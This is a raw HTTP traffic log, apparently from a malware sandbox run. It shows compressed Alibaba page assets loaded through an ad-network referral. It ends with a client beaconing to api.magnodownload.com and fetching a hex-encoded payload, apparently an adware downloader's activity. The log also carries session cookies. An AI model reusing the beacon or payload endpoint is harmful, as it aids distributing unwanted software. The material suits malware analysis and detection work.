User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Last-Modified: Fri, 19 Jun 2015 02:23:16 GMT
ETag: 4543fcfcf_103584d247f
Timing-Allow-Origin: *
Server: Tengine
Content-Type: application/javascript
Content-Length: 21458
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Cache-Control: max-age=0
Expires: Fri, 19 Jun 2015 04:17:32 GMT
Date: Fri, 19 Jun 2015 04:17:32 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........}....q..r............P$%.!....%..s.[.G...{!........&n.&i..7
i..Mb.I ;N.Ay.Y.$...s....?<3.w.=......................Vl.aX5.Xh5V..
M...t.vyl.qw..V......j..I.R.W..t..\K..J.ew...H"..........9...n......o.
...1Cw.1....1.j.7.QZ..C...b.....|[email protected]. c..8........lm
.Z ..bV..."..t....S2..Fj.jVV.J6[.)VS.........\.Ts.d..'.D.....1G.-.H...
h........z.X.T.Y.d.B.............:.eTU....r.4.....5......zF..P..9% ...
.[_CS\....:..eU.T.\)_R.bX.;..W.ji......L..P.W3.<)dJ..HA. XQ.\)..g..
...J..<.).4.m9:rm..7p..4..V5...Q...z.VZ$.4........L.0^.*..L..|.....
Pv._....\P..%..}2^..m.......).ej..&Wk$#.........*6,a.'<.&.....6..Y.
...............n........b..%'..C.9`...V.dA..X9.viva.luqae..21OB....(.d
.?m{f..H$..Rb5.u.V..;..p.............R...z.T..c.},. ..X.R.Y..g....B6.U
..\I!u.m......j....._V.K.....!..V..!Y9[......:Q'.q...*......b.....Y1_.
g.....Q../...h.. 8Q..j...P.o....m....d.9.JU.....A...u<0.v....../d.q
.?.j......_V.^..C.Tk..H.....O......o(.8;..?.wb...k9%....J.H2.R..;...-.
'.9_....Z,.Jj..d.w9......)..v}F..S,C.-CH~R...2.L%%.(0..WRR..4..%..Q..d
..dTB.b|D*f...-.....W..W..CN....E....G^ o0Oq...m...V...cL75r=.n...].dK
........1.I.. ##...`.5......L.G.0r.[V.s...C.N.l.lM........N.C...a%.v.C
..^X...n...U/........T..@?l*...]]eu..:4R....4......V....mVW.1P...m.zy.
~..#....2C?(.....9V..#...g....<..q...Gh...B..d...$..1...p.j.U]...&.
........o.y...V)..y4e. ..o...I.lI.b...X.A][.a.PR;,H..<...].4...s...
.....=..b.w.....c /0E6:.tg.i.\.gA......`PN.ir.m...AMM...}@9..Tt.D....R
qI..u.p..l.....?.&.G.....q.a{8..8h..V2...1...n&x.G\...pa.M....m...
<<< skipped >>>

GET /js/6v/??lib/arale/widget/widget.js,lib/arale/position/position.js,lib/arale/iframe-shim/iframe-shim.js,lib/arale/overlay/overlay.js,lib/arale/overlay/mask.js,lib/arale/popup/popup.js,lib/arale/templatable/templatable.js,lib/arale/dialog/dialog.js,lib/arale/cookie/cookie.js,lib/arale/placeholder/placeholder.js,lib/arale/autocomplete/autocomplete.js,lib/gallery/underscore/underscore.js,lib/gallery/handlebars/handlebars.js,lib/gallery/qrcode/qrcode.js,lib/icbu/dialog/dialog.js,lib/icbu/balloon/balloon.js,lib/icbu/messenger/messenger.js,lib/icbu/ghost-panel/ghost-panel.js,biz/list/common/dot/dot.js,biz/list/common/title/title.js,biz/list/common/history/history.js,biz/list/common/history/log.js,biz/list/common/load/load.js,biz/list/common/gotop/gotop.js,biz/list/common/survey/survey.js,biz/list/common/qrcode/qrcode.js,biz/list/common/webatm/webatm.js,biz/common/mcms/mcms.js,biz/common/switch-language/switch-language.js,biz/common/nav/nav.js,biz/common/header/header-module-base.js,biz/common/beacon/beacon-v4-sc.js,biz/common/store-proxy/store-proxy2.js,biz/common/searchbar/searchbar-v4-sc.js?t=10d7b9de90_18d50d0e9f3 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: 
HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Last-Modified: Thu, 18 Jun 2015 17:43:17 GMT
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Length: 101570
Timing-Allow-Origin: *
Cache-Control: max-age=31498018
Expires: Fri, 17 Jun 2016 17:44:30 GMT
Date: Fri, 19 Jun 2015 04:17:32 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
.............v... .<.A..d .E.. (......r.n.yNUSL.D........uH.../....
{..|.|..Z...........Vv......}..;"v......q3K.......Q.)....(...~^...V8..
...5N...,..E.&.y...8.........[[S.U....Z...D.8.\..|...>|...p....'7Q.
.5.>...x....,.......F..p6........?.kP.....a..w.vFl.H..q7......E...2
.......b.%..U....Q.".#.ke.|..#7..Pa..-...A...sYd..U...y.f.'.t...~/..Q.
6..|N.f). ......%..a1.C..~...F..8y..........E..[E..n...$HT........S.a%
...!.......Z.Qw0..R..a..N.Y.9^..t..<6......j.\...}...........m...$&
gt;.".I.n....GHB}. R..F_9\..._=.^?jQK....J....(..o.....,X..4.IX.../..G
_.(...5..4X.H..^.0G...`_.v..Y...Y......,...&..4......i ......'......`.
{.B......;k..k......l8.A.O.l.yk...J.....p3o-........ F...t..3...G-...G
..d..Aq..........ph........j.(........_.......wy..i4q.I0....(..z.}n ..
.[..,uf.{>.......X...&...e......l...[[email protected]]..{...h8b)...-...u.F.
[email protected]|..-&...8......7.).....[.E~.&-(.\".k..H...=..2..3..$.........<
..&M.....Y...Xd.~$.....a4..K...<\r9-"@^M..."X.I\[email protected]......(l
Mp...0...p..N. pFA..c.vw.7w....a........z./...g.l;...x.t:E.2g.B ..|...
.K..Y...|D..._...{e!...Y....X-G.........ax..w.V).}...?.X.9.N...U.=....
aM.k@ ....MN.O.....qttz....2.[..V...P.tr....\_.:.Q.M....i.}p...J.....$
"..L.y.lj.<1..qk......az.s4.......]..CE..9.B7F.;...A,1.....%..o..y.
.K.O328T.(..(.=nq......@> ...../.A...]X...FR..;.f.,Z.x..-.vG.."..c"
W..\.Z.K.{..!.....f....3..}..i...R..0E=....>..`...rB>....... ...
.o.... k.....A.0I...|.y.$....$..nO......)I^.3...X..!P..,(=v."`....7...
 .... {."...8..L.MXD{........4....>[email protected]".AM........d..?t...
<<< skipped >>>

GET /js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 4274
Last-Modified: Tue, 28 Apr 2015 10:31:13 GMT
Content-Encoding: gzip
Cache-Control: max-age=27210724
Expires: Fri, 29 Apr 2016 02:49:37 GMT
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........Z.s.F.. [email protected]."o.%?*.f.G3..............}=...I...T].
.1====.=...^.......E.[..y..E.'n....!w.PL....qd....r.K'I.<...1...F.m
.....H..Cr.....'.&.sk..7...4..5N..sf.\z....I......'.;%>......E...3.
..^..F.......ag`F...i...r. "..,....."..2.....z.z...E........%../.D.?.\
.._D....."^.s.H!|.A."..~*...|*...ydy*....3......2'...t|...U.HE..^./.Y.
d...r.N.;f?...... .G..>...[... {.<'..".2.C....s/.S.g}{.....9..y.
."...G=....^....u.f....!'.o....QD?y.gX {l.-......~.3...........ZK...K.
_...0....A/.Y.....K.4..dn......$.|n.>;..m`.A.zz.X....0..........E..
p..e}vc_.c...,.En....,...bfJ'.r./^...5.S.......j.[..E.c.NRd......3..Q.
x.R...:%Y.t|g.....br......Hew0,..k..`S>.7.m...4?......:0{.x.....S~.
........N.k9.....M.....q.$.:Pe..D{S...=.{..q...rk#i.Va>....n....V|z
/.-.R...0.0........s...t....Z......m....E..`.(.|...zq.So.Y............
.......s!.v{.8...E.sw. Yc0.'.c.......:......m.5......3.W..&.....?.....
!.7.d3..K;..l..........'c.....v.=....[.k.....d......_yK.\...........".
t..._.T..M.E.5...E..l..x0.F6.-8...h......dp.9U.Iy.[.]{K.L.m.h.q.Q("...
..`x........O.....\..w..&5...@m..,.:....Y5..U...^:...T$...H.5H..|.p9n;
....Vy9.9..;ST[b:.[...=R..C.......d.KN'.7....u.{R......T*.....r.e...t.
..t"%...H.....?...c.2o....^...C....!.....zc..Q.a0{h....j......X...k.W;
o........2.\...4.J..#ckiKnQV..... ..(z...d...J..^....I......G......wc{
~..l.....v....f.... ..t2uT.W....;...v.a"$...r0.d..A(.(.{.."...........
W..N..p.........2..#......c.. ...9.. ..l<...P.....w.1r<...r;..=.
.......yzY.:>...d.ktr.E.5y.!...N..fm.;`d.1.M.<..}.l.4?4.~.!.
<<< skipped >>>

GET /js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 18684
Last-Modified: Thu, 30 Apr 2015 13:37:25 GMT
Content-Encoding: gzip
Timing-Allow-Origin: *
Cache-Control: max-age=27514234
Expires: Mon, 02 May 2016 15:08:07 GMT
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........}.v.F...H.y2...)[....ql..3v.....(j...%. [email protected]...
.tN[`....... ....q..._...U...eQ,.......^.G.`..&.....$(.4.-..H'i..\<
...=........M.9g8.gQ........}...&...<L.."....ix..g.2..kn..Z.. ...f.
..-.?PjT.O..........j5.,...I..9. J?.....O..........Rx.&E..p.`..l......
.Appp.Pm....Wy:}~...88..,|........u4......M...........A....7......i...
,.>.....cX... R..E......c............>~......-.......[FY..n..^.P
%.H...U..5U...8n...}.........5.....8...O.....M29).b.g.\.e..T.7.....;- 
.d.......K...he...i0......P...*.,.k.p..`..P[}Zn...?......{....,).....z
.."L...[X.p....FgnP.Y...xo.e....e..9L5....,K3...L.<..8.7Q\."..Y...i
^X.2.=...5..n&.Q<....!..u.K.^.. UL.....B.S5.9,{...]\..0.'....#h ...
...n.......[.[..t..3o.ey..%..1......QW....:*&.........Z....#.......s&l
t;Z./....K%.......4...a....%..l...Q.K.\.....-.]....$.......Gk7....S...
.z.r.f.m).7.d`..Q...o.<J`...O.pn.d.;?..wf.m..qn......!~.....1...F..
.....S'..e...%gj.."^.}..!W..{..X....d[[email protected]%D..
...`..(...M..X......\.49....1 Vk.%..(9m.V6T..^I8......Y..DHv.dg....._t
...Y.....~.8L.R...#...../.,....{..D..y.`9{.b.;.9..r...."P..0.(...Q>
.:.....-.]:.0.C.#.&...Vk...iOb..........D.(......ZW..mi..loow).(..O..8
&Jv............E.*0<U.........._.......5..%...."....1QW?54......ko/
...mg{.J9...ZQTQ..X.I.qU..8...Hh..I......8...._...v.............-...D.
..v.......v..zx......q.K.0..yT..qT....&..%n...T.25>.E...#c.Z...4R..
.1tp.. j..'..X.]L?./...t.....K..[.[.c[....OLY"....F....KN.g..4?..S.>
;[;.v.F.e.CM...J/.=.......0....MQ...]me......PA.X..'.E.z..8-S.<
<<< skipped >>>

GET /css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: text/css
Content-Length: 506
Last-Modified: Mon, 02 Feb 2015 10:28:49 GMT
Content-Encoding: gzip
Cache-Control: max-age=19721562
Expires: Tue, 02 Feb 2016 10:30:15 GMT
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........TQ..0.. ..I7iA..n....Ln...m.%....}[email protected].>.....S.
 g.|@V._7f.. ...JJ..5^.e4...r.090.%.|.J....=g;L.*...z.....9...-.?&.C..
.b.t.G....n..H.\Gy}.h..B....Bs}.`,[email protected]~J.Ty...^.Z.I.b.;...O...
. T...V"...X.R.k........[s..yN.d..0.7..<...x...M....(j.-`./..P..*..
E.J..G....(........rq.U.WA.?..(..)....h. .:.6A.l2.....|.f..]....8`M]O:
PIQ.t........O........?N*p..dX.R...>...3.<. 2...E..5.|-).~.f...c
.........[.,.U.]\F...&Ds.!x.=...#...O...}"k.g.*.Q....?5.....j.J..l$..-
.......h..<..<......6;M.....HTTP/1.1 200 OK..Server: Tengine..Co
ntent-Type: text/css..Content-Length: 506..Last-Modified: Mon, 02 Feb 
2015 10:28:49 GMT..Content-Encoding: gzip..Cache-Control: max-age=1972
1562..Expires: Tue, 02 Feb 2016 10:30:15 GMT..Date: Fri, 19 Jun 2015 0
4:17:33 GMT..Connection: keep-alive..Vary: Accept-Encoding..Timing-All
ow-Origin: *.............TQ..0.. ..I7iA..n....Ln...m.%....}n....c...=@
.8.>.....S. g.|@V._7f.. ...JJ..5^.e4...r.090.%.|.J....=g;L.*...z...
..9...-.?&.C...b.t.G....n..H.\Gy}.h..B....Bs}.`,[email protected]~J.Ty...^.
Z.I.b.;...O.... T...V"...X.R.k........[s..yN.d..0.7..<...x...M....(
j.-`./..P..*..E.J..G....(........rq.U.WA.?..(..)....h. .:.6A.l2.....|.
f..]....8`M]O:PIQ.t........O........?N*p..dX.R...>...3.<. 2...E.
.5.|-).~.f...c.........[.,.U.]\F...&Ds.!x.=...#...O...}"k.g.*.Q....?5.
....j.J..l$..-.......h..<..<......6;M.........
<<< skipped >>>

GET /simg/sprites/env/webatm/common.png?t=ad99287c_0 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/png
Content-Length: 3565
Last-Modified: Tue, 28 Apr 2015 07:34:58 GMT
ETag: ad99287c_0
Timing-Allow-Origin: *
Cache-Control: max-age=27068170
Expires: Wed, 27 Apr 2016 11:13:44 GMT
Date: Fri, 19 Jun 2015 04:17:34 GMT
Connection: keep-alive
Timing-Allow-Origin: *
.PNG........IHDR.......q.....f..N....tEXtSoftware.Adobe ImageReadyq.e&
lt;....PLTE........"......Z......./.ND...........{...Q..|...gN...Iw...
.2}.y........9...............|........).......g......J5...............
...C....I..s.m.t........8j."Y...2...}}}K...........R..............h...
.......hg................I.....is.....2.....{.......x... }....=......X
.=..6....................................H3...............L...........
F...7%4...>=.......93W..*`...8....,'...p..............V............
.................=....g........Y...............[........*f.....{e...A.
[email protected].........../...!!VVV......
Ma................uuu...........W.........kkk...q..............U..^...
.........................................2...........=r....O...~......
.......8.....<..h.....a..'o.*y.7{.E..E.. s.C}..a...................
.................f.....tRNS...........................................
......................................................................
......................................................................
......................................................................
...S..%...wIDATx...yT.....Q. .*R.2Jt.Y.EF....QA.as)E....c.i4.. j...S..
....Q....#.f\cLB....i...i.&-4I..~...k<... .{..{.......w.C%...2.(..N
.. ...qx.3.h..h-..h..=.L-L.......d..e.....J%i.H2.....I...3...g*sc`.3).
)gj,..s.)....i..v.v....K3..t.kPF.e._6}..]...d..>.....N..R...d..I.;@
t.... ...{.d...R.].....&...6..m...*g.RKc`.3..)g..d..hH..\....Y........
....)..].2.(..2.(..2.(..}Y.gu.q.QF.e.QFYO.5}RA...e.QF.e.QF.e=F.f..
<<< skipped >>>

GET /notification.do?callback=jQuery183016471045402329565_1434687458110&_=1434687459656 HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: notification.alibaba.com
Connection: Keep-Alive
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj


HTTP/1.1 200 OK
Server: Tengine
Date: Fri, 19 Jun 2015 04:17:33 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: JSESSIONID=6R6Gl9mm8eTSZaYY6Rl7gy3c; Path=/
P3P: CP="CAO PSA OUR"
Set-Cookie: ali_apache_track=""; Domain=.alibaba.com; Expires=Wed, 07-Jul-2083 07:31:40 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=""; Domain=.alibaba.com; Path=/
Content-Language: en-US
HTTP/1.1 200 OK..Server: Tengine..Date: Fri, 19 Jun 2015 04:17:33 GMT.
.Content-Type: text/html;charset=UTF-8..Content-Length: 0..Connection:
 keep-alive..Set-Cookie: JSESSIONID=6R6Gl9mm8eTSZaYY6Rl7gy3c; Path=/..
P3P: CP="CAO PSA OUR"..Set-Cookie: ali_apache_track=""; Domain=.alibab
a.com; Expires=Wed, 07-Jul-2083 07:31:40 GMT; Path=/..Set-Cookie: ali_
apache_tracktmp=""; Domain=.alibaba.com; Path=/..Content-Language: en-
US..


GET /js/beacon_en.js HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img.alibaba.com
Connection: Keep-Alive
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==


HTTP/1.1 200 OK
Expires: Fri, 19 Jun 2015 04:45:40 GMT
Last-Modified: Wed, 17 Jun 2015 07:16:04 GMT
Cache-Control: max-age=1800
Timing-Allow-Origin: *
Server: Tengine
Content-Type: application/javascript
Content-Length: 17722
Accept-Ranges: bytes
Content-Encoding: gzip
Date: Fri, 19 Jun 2015 04:17:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
............ks.....}#.....t.P...I.R\.$QMJ.HI..!FV..... ..'...ww....:..
..~.......|........{.|........*..... .....|.<y^y2.....8..v......6..
......,7dV<l.g..6Y?.Zz.....v;o1.....;.k....fv.../..#.Y..=......-{y.
*.7.........['{g{.;ow..;...V~A.Z.u.=.....`U.q...Z.].....&..8..v...Z.a0
.r?...s.Aw.`j..Yyo:...]...S..Q..3/......=.. ..B.}8.9..a...}...zy..\..a
0.7.o....>...../.Q.6.q..1....~...E.0.:u.L.S.'...g'S.'.&`e..^.*>.
}...C...e....[.\.x.........u..A<...Xw....o.....u#.c....c.3.Z..}-t.Q
.........e..q4t.Y........%..r..x....P.dbY..[,............1f..=/.ZS*.F.
...x.......... eQ.G.b....r9..u ....q.i......s..l.BW$&.....{....}.....[
...G..>..G.....Q....y.Se/.@.,....Qs0...Rk.%......0.z..G....`I5....B
....L..%.5.E.n.o..Z ..=V...y.^>.......nT.5..:-. c:..........heK....
[v.uj...Jj.0.Q.....`..b..Pl...Ea.:.X.....N.#.x....#.D....#$Na...j.R...
...$....yZ....B..St.@. ...|.`.mz...j..E...hP4..Q......%.....l....4..7.
..I.............1jm2....|...v.(..D.nS0..a=...[a?hB..:,.....\&D...OE=\.
......n..].3......].a...i.....s..uw'..tj........z.Z.a.u.[...F......z.o
.....s.....ro..0..)..m5.K`..Y.....s..w...U.].q5.. ..Hi..Ed.....f...F..
H.....FB.Hs .6R. [email protected].|d.i....L.v.~.G.(....
...(4....Tc.u<.ox.*.&..N."^...>.tm.}s....s...l?..:9<`..,. ...
........!).(i...s..P....9:a.S/5\...i.<c^..i...N....~...Za.k.....]..
Z.P..Zn1"..*.M.:....q.V..`..>...a.Z|&j.U....j!...Z...G....f....2.@.
.......C....P.@.....,.....G....._q.....X.r..1....G.9.."..h[D....a.G@Z.
.P..N..h(...I7.....d..3.f..;..0i.(].l.I.%.....v.]...>......=...
<<< skipped >>>

GET / HTTP/1.1
Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.magnodownload.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Fri, 19 Jun 2015 04:17:15 GMT
ETag: "54521359-38"
Last-Modified: Thu, 30 Oct 2014 10:30:49 GMT
Server: nginx
Content-Length: 56
Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Fri, 19 Jun 2015 04:17:15 GMT..ETag:
 "54521359-38"..Last-Modified: Thu, 30 Oct 2014 10:30:49 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /?ctrak3.2.587=c_Start_Application HTTP/1.1

User-Agent: session
Host: api.magnodownload.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Fri, 19 Jun 2015 04:17:20 GMT
ETag: "54521356-38"
Last-Modified: Thu, 30 Oct 2014 10:30:46 GMT
Server: nginx
Content-Length: 56
Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Fri, 19 Jun 2015 04:17:20 GMT..ETag:
 "54521356-38"..Last-Modified: Thu, 30 Oct 2014 10:30:46 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /9fd2cb3626e62d9f89d007c74b2c812a2fd39f0c3de7eb7b41313171d5f4dac85e29346f47a620709ba76612626537660c88d2b167474111c3c92450b16323ab818a3d59df09e4ccd1018de308ef5f065ae2d40a7dae028341c5ad003cd38142eef5d67696556078 HTTP/1.1

Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.magnodownload.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Date: Fri, 19 Jun 2015 04:17:22 GMT
Server: nginx
transfer-encoding: chunked
Connection: keep-alive
2254..18a8f90491f22de7b67931c9a93a1c3c2cf9acfc3dad16ea96403f0f85f77e8e
73e4039d2b8d09ca22117736dca84ca68b34b4df66fedecd05e16b920a9d07293dad06
bee8615ec3130288cfb4054b2fca41b4c900f2f0fb626860d766558c35972a6472cf58
a222640808299de260dc024ecf9adc912dfc0c05ae86aae69196863d4d281b8ea75ef3
6389e48a000861334058d03f493e521d018e72f64c2220efd8535ec7ced8047cb0c23c
e4522e7bc035aa80dfad2b989d97d37e96c82d5f5ff1eae1a9901c953595467281fc06
e2921c69db8943bc77b77060a8c663a262827f966615776fc28b57eeaa85df7cee6fb8
0779e20cd459f8e3fb6d48c6c5db5ebbd93996ccee435cba60efe26a6b0a92bbcf6b1c
6a3b669202182ce9491d41d91e616eee0ef8e5327e2651e12a176e3420797c3360b898
6dd20a91be390d719cf5ac730e0acddc5364f52380eb3d48a4cb1fba0ab85a685dbef2
19a221b1a659a71fa850b9c75c680f05e1bf0cb2197595235819d83a7a4c4de711db07
55790b15042b5aa26bb0c45ede570e05fbc5d407a23379c579838e3150b0e5cf764e67
7e162a0ab6b695d21d9e48e920330a0478f2f1124023960d2a00eef12b087b51246774
191bfdb32314aff01ff1cc5a816585d7297300940f977f67238520959574490f648aa7
bc6416e08017483102f2a7ef83d8cd9e750a326b59a2b48560f70377d9d35288d385a1
0c76364a776efd485728d432e84598e8bf3f322ef3b81420087e2e336058de20f46477
5065df8ff691c8a5e22c8630bfd20e987e2bf9aed105e8240153d78fab6660362cf755
5f1f9991ef860e271e0acdff6e18209050e40b444dc0cfbb1c97da29266b935a2a61bc
7041287b6a2d95308616ee9314291853f0cb0592699b7380d34a7a7f23e2718ba152c5
